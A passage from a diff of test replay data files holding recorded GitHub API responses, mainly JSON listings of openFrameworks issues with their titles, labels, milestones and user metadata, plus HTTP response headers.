\r\n","number":8,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/8","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72130,"closed_at":"2009-12-05T12:09:09Z","created_at":"2009-10-21T23:50:49Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofx3DModelLoader - non power of 2 textures","html_url":"https://github.com/openframeworks/openFrameworks/issues/7","comments":0,"assignee":null,"updated_at":"2011-01-08T20:27:15Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?p=12210#p12210\r\n","number":7,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/7","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":72129,"closed_at":"2011-01-08T20:27:15Z","created_at":"2009-10-21T23:50:06Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxXmlSettings read attributes","html_url":"https://github.com/openframeworks/openFrameworks/issues/6","comments":2,"assignee":null,"updated_at":"2009-12-05T12:08:38Z","body":"check and find the best out of these plus damian's and chris's http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=2039&hilit=attribute & http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=643&hilit=attribute","number":6,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72128,"closed_at":"2009-12-05T12:08:38Z","created_at":"2009-10-21T23:49:38Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofGetAppPtr()","html_url":"https://github.com/openframeworks/openFrameworks/issues/5","comments":1,"assignee":null,"updated_at":"2009-10-22T20:37:38Z","body":"to get a pointer to testApp","number":5,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/5","labels":[],"id":72127,"closed_at":"2009-10-22T20:37:38Z","created_at":"2009-10-21T23:48:21Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofSetCurveResolution - makes curved shapes a lot faster!","html_url":"https://github.com/openframeworks/openFrameworks/issues/4","comments":1,"assignee":null,"updated_at":"2009-10-24T16:23:42Z","body":"","number":4,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/4","labels":[],"id":72126,"closed_at":"2009-10-24T16:23:42Z","created_at":"2009-10-21T23:47:58Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Fullscreen on OS X should be not top level","html_url":"https://github.com/openframeworks/openFrameworks/issues/3","comments":7,"assignee":null,"updated_at":"2009-12-07T01:55:14Z","body":"Zach has the code for this - find simple implementation. ","number":3,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/3","labels":[{"color":"993e7a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode"}],"id":72125,"closed_at":"2009-12-07T01:55:14Z","created_at":"2009-10-21T23:47:33Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"detect C:/ as a root path in ofToDataPath","html_url":"https://github.com/openframeworks/openFrameworks/issues/2","comments":1,"assignee":null,"updated_at":"2009-10-23T06:53:51Z","body":"","number":2,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2","labels":[],"id":72124,"closed_at":"2009-10-23T06:53:51Z","created_at":"2009-10-21T23:46:21Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"glutInitDisplayString option","html_url":"https://github.com/openframeworks/openFrameworks/issues/1","comments":4,"assignee":null,"updated_at":"2009-12-05T11:39:54Z","body":"allow user to pass a custom glut window string. fallback to default window if string unsuccessful. ","number":1,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1","labels":[],"id":72123,"closed_at":"2009-12-05T11:39:54Z","created_at":"2009-10-21T23:45:56Z"}] - diff --git a/tests/ReplayData/Issue33.testOpenIssues.txt b/tests/ReplayData/Issue33.testOpenIssues.txt index b31ba310d1..d8e4ab9275 100644 --- a/tests/ReplayData/Issue33.testOpenIssues.txt +++ b/tests/ReplayData/Issue33.testOpenIssues.txt @@ -151,4 +151,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '23083'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"f317f6e26c56743bf8ac8b747a73d3af"'), ('date', 'Tue, 29 May 2012 06:43:45 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-05T21:57:50Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":172,"assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"closed_at":null,"title":"rgb + alpha -> blit to texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-04-06T19:40:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":166209,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/172"},{"updated_at":"2011-12-05T21:57:36Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/171","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":171,"assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"closed_at":null,"title":"sexy shader example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"created_at":"2010-04-06T19:38:51Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":166208,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/171"},{"updated_at":"2012-03-03T19:40:33Z","body":"can we do it?\r\nwe need cross platform:\r\nplayback \r\nstreaming\r\npitch\r\npan \r\nmultiplay \r\n\r\nfor us to be compatible with what exists. \r\nOpenAL seems like the best choice.\r\nWhat other options are there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731,"closed_issues":0},"number":167,"assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"closed_at":null,"title":"replace fmod","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"created_at":"2010-04-06T12:13:31Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":165898,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/167"},{"updated_at":"2011-12-05T21:56:41Z","body":"i have this working for 3d with selection buffer although it's meant to be slow i haven't had any problems","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/160","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":160,"assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"closed_at":null,"title":"ofIsUnderMouse?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2010-04-05T21:39:19Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":165537,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/160"},{"updated_at":"2011-12-05T21:54:57Z","body":"Theo: I have this code uses the selection buffer. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/153","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":153,"assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"closed_at":null,"title":"ofIsOnScreen - ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2010-04-05T18:49:10Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":165409,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/153"},{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":140,"assignee":null,"closed_at":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/140"},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"assignee":null,"closed_at":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/128"},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":126,"assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"closed_at":null,"title":"ofATan2GL / ofVecToGL ?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/126"},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090,"closed_issues":0},"number":124,"assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"closed_at":null,"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/124"},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":121,"assignee":null,"closed_at":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/121"},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"assignee":null,"closed_at":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/115"},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"assignee":null,"closed_at":null,"title":"should we start all OF apps with a frame rate set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/107"},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"assignee":null,"closed_at":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/91"}] - diff --git a/tests/ReplayData/Issue494.setUp.txt b/tests/ReplayData/Issue494.setUp.txt index eefc7e9420..0904ee5c17 100644 --- a/tests/ReplayData/Issue494.setUp.txt +++ b/tests/ReplayData/Issue494.setUp.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '15049'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '7b641bda7ec2ca7cd9df72d2578baf75'), ('x-oauth-scopes', 'public_repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"fde80d800fc318ecf3ec43cdee7b8719"'), ('cache-control', 'private, max-age=60, 